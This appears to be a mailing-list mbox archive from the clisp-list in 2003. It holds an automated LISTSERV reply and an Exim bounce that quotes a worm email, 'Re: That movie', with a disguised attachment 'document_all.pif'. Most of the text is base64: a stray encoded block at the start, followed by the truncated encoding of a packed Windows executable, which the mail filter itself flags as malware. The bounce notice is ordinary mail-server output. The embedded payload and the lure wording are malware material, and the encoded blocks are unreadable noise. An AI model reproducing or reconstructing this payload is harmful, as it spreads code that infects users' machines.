kC9u7RjmCLw9uri60G8uNRnkKTtP/ErjE5fD9PhVpsXrMkVzH0AtlFUbfEBRolxPGaG/Qy6i8VOn iHyPf3r02z+o1WxWUKyH1qvW+okERm7p7sm50bSbeWrQJbN2zK1qlOMDjohuPsmOgZdemManchKA Fsn6pdJWFWqES6zExeuvBfLWbe1mWDqcbKtT6Hc3bxanUjjmvSF+0JZzo3fVQdnryo8jx1RWjIZ7 evY+H7wrcNpN82pGJRGItNiH/8IGG0NHQDNOpRuCmsABpIp1tN7hMENmS1HrzJ4n4kZQb7nr2SZ+ kejRtY9OB/XcDPaP79rlbhKGiPvTu+Tvy1/JAkecpkN1C0qtkNjcHcZmTHJqrQ7Sasck+Ieg1sHI 9oNTVtT0ibEAehMS64o+duu4CetLMBwxMUGAKpbc3ZEC5YPtc0uBparQSpt6hZDo2U3FpraNQThm 02YEfJygK5zSgSL98Hun+xSth7kjGXpE6mc11D2ORna1y2CYfHBwhf6c1+YbAIi6xWEdOx1/ome+ CqvmNZerX8siRXyfZoh7Z33+crAtVs83khLDZUqWSx0smKJKgxMq+TuXa4d7kSAptiW8kgiLBRab WA0mEkYkINmSQpNL3i9L3o9AJzb87D11JLeHRFOCVzs6iM5QhM+maLsgHaJXl7ykJh01Du6s7ZKy MQBJstfxpYoPcC8WsKKMhqoZt29dD51YqxkTBk0RWmOSdu5wncEJcrN9dTNh40L1GQnW81MhSgUW UAYfXpLUu12wR2DkMxoZdtlFqrFi1UZV+HuEbVYRhJ8ycGXnOC3r6MFam0Q73JXQIQCTcqNqUMMi BQnFVhmtgEwPRYSQr1YK28U39d9neFI56Ooq+BQ+F5ExE4LksC7MpoA2FZeu1Sh55GRiB9B/PoQp n7Pwf6Cs3lTo5uVXdkOZoOF8jfd6akiXie+T0mcp/XYAQhuhiwilqyE9AbMCj/L2zluY+MM4G8m8 bjov18/yqZXjPY2r6a54awXM3Yivu0ccQSCX/aWkJyVVarf9nEXn5d28KeoDtW6XyBekM/I5rjJ9 9B9aXgcEqtE3LD+9tm/rKMjixOt27HQ+6K7JSMJ0HbGaPzl/Ly1RHmyJ15yXWoETrlaSrO/+s3OE /piwnFrBctQXChw0bPTE3QqFUtn1QwcHwqDItnBPmo78SkjEq6CeJKflOB53P86R/nNP4qPYiqkH rQekIXb51g/y7jFVu7Tnk4zkA13aalDA8gs/ea7IVz5gdcDx1/0QVHHGZUzGLPJGMz8zgHJZ9am+ 2wtF/7ZXPQtRQZhfYmloYyc7DGqVQ2huTWBNTJIS1OP8UrHhrl/uZTYROhajm8gmIWCUayoxNqRu O+vT8GOn1R3hjCStALsnj8UvrXn5AHdZuFUvKZ5bc5lFpLiwTN7WB2I0goHVx4ALAQcdJBVAVWls VPdd/d0txuf3tNVZRpA55EPwVxIDslBElFAhDMVChopTJSzp08Fz2NbSVqFiMAJ2KKPSteQT1FEL MhsGz2eFpVVvFoqbudn/W6mRLeqDaXNhdUfOCdFN6Wxiod3VTia4402aE9F9S/oZfX++q8+LSW3/ 9q3QKaEZ/Ot5iTiBDyiEveovrBD6lCTq8cBFEEn7D3U1IreiIk+bA3wa1i/uNi0jAdNGz/DXMLcQ 1YHBx2eG4/5n3FBbzNKCeQVuz0H38L/eRxjlEOmKe3LMIAAcH3oKd93t2Exdk5abliOK6TKREOPo ZcE5bJ6tJGAJMKyxuOqEZKPSvZGn7eeO6CPBJCTZruQGtZpClKPn5USRrfn0O1wps6JdX7dX9VVH qds/H/GAsAk0iNrnamkXKTlKw6aKOKm4ZZjaBQjY0jHResS5XNDQNiahV0So93JoQo2n/Tu6azR7 PycL31rVC5altYOWYFLRPl86xejlj4BV1IF4eJ7/4nkRAecPHMIFcYDdsKcqTYuPFyqsbQ15z8q0 9QfGTFwzmf7nJpiaq9o2WXpgdE7v From LISTSERV@java.sun.com Tue Aug 19 08:22:36 2003 Received: from swjscmail2.sun.com ([192.18.99.108] helo=swjscmail2.java.sun.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19p7X5-0004fL-00 for ; Tue, 19 Aug 2003 07:32:23 -0700 Received: from swjscmail1 (swjscmail1.Sun.COM [192.18.99.107]) by swjscmail2.java.sun.com (Postfix) with ESMTP id 03015222E5 for ; Tue, 19 Aug 2003 08:27:54 -0600 (MDT) From: "L-Soft list server at Sun Microsystems Inc. (1.8e)" To: clisp-list@sourceforge.net Message-ID: Subject: [clisp-list] Re: Your application Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 19 08:23:01 2003 X-Original-Date: Tue, 19 Aug 2003 08:24:38 -0600 > Please see the attached file for details. Unknown command - "PLEASE". Try HELP. Summary of resource utilization ------------------------------- CPU time: 0.000 sec Overhead CPU: 0.000 sec CPU model: 4-CPU Ultra-80 Job origin: clisp-list@SF.NET From MAILER-DAEMON Tue Aug 19 09:05:54 2003 Received: from mail by sc8-sf-list1.sourceforge.net with local (Exim 3.31-VA-mm2 #1 (Debian)) id 19p8za-0001Xm-00 for ; Tue, 19 Aug 2003 09:05:54 -0700 X-Failed-Recipients: message filter, clisp-devel@lists.sourceforge.net From: Mail Delivery System To: clisp-list@lists.sourceforge.net Message-Id: Subject: [clisp-list] Mail delivery failed: returning message to sender Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 19 09:06:02 2003 X-Original-Date: Tue, 19 Aug 2003 09:05:54 -0700 This message was created automatically by mail delivery software (Exim). A message that you sent could not be delivered to one or more of its recipients. This is a permanent error. The following address(es) failed: save to /var/spool/exim/rejects/embeddedmimeattachement generated by message filter failed to lock mailbox /var/spool/exim/rejects/embeddedmimeattachement (lock file): retry timeout exceeded clisp-devel@lists.sourceforge.net This message has been rejected because it has a potentially executable attachment "document_all.pif" This form of attachment has been used by recent viruses or other malware. If you meant to send this file then please package it up as a zip file and resend it. If you didn't mean to send this file, and you are using microsoft outlook, you are probably infected. Please stop using outlook, it is inherently insecure and you are generating lots of wasted bandwidth and support headackes by using it, and you are jeopardizing your files and your data Please seriously consider using another mail client ------ This is a copy of the message, including all the headers. ------ ------ The body of the message is 102208 characters long; only the first ------ 10240 or so are included here. Return-path: Received: from d-128-78-122.bootp.virginia.edu ([128.143.78.122] helo=CE55) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19p7W8-0004Wb-00 for ; Tue, 19 Aug 2003 07:31:24 -0700 From: To: Subject: Re: That movie Date: Tue, 19 Aug 2003 10:31:24 --0400 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_019C51CF" Message-Id: This is a multipart message in MIME format --_NextPart_000_019C51CF Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit See the attached file for details --_NextPart_000_019C51CF Content-Type: application/octet-stream; name="document_all.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="document_all.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAADToEjPl8EmnJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl8Em nJTBJpyXwSecBsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnAAAAAAAAAAAAAAAAAAAAABQRQAA TAEEAF2zPz8AAAAAAAAAAOAADwELAQYAAAAAAABwAAAAAAAA1usBAAAQAAAAYAEAAABAAAAQAAAA AgAABAAAAAAAAAAEAAAAAAAAAAAAAgAAEAAAF/EBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAA AAAAAAAAAAAAAOLrAQCcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfuwBAAgAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAgAC5zaHJpbmsAAFABAAAQAAAAxAAAABAAAAAAAAAAAAAAAAAAAEAAAMAu c2hyaW5rAAAwAAAAYAEAABIAAADUAAAAAAAAAAAAAAAAAABAAADALnNocmluawAAQAAAAJABAAAS AAAA5gAAAAAAAAAAAAAAAAAAQAAAwC5zaHJpbmsAADAAAADQAQAAIgAAAPgAAAAAAAAAAAAAAAAA AEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 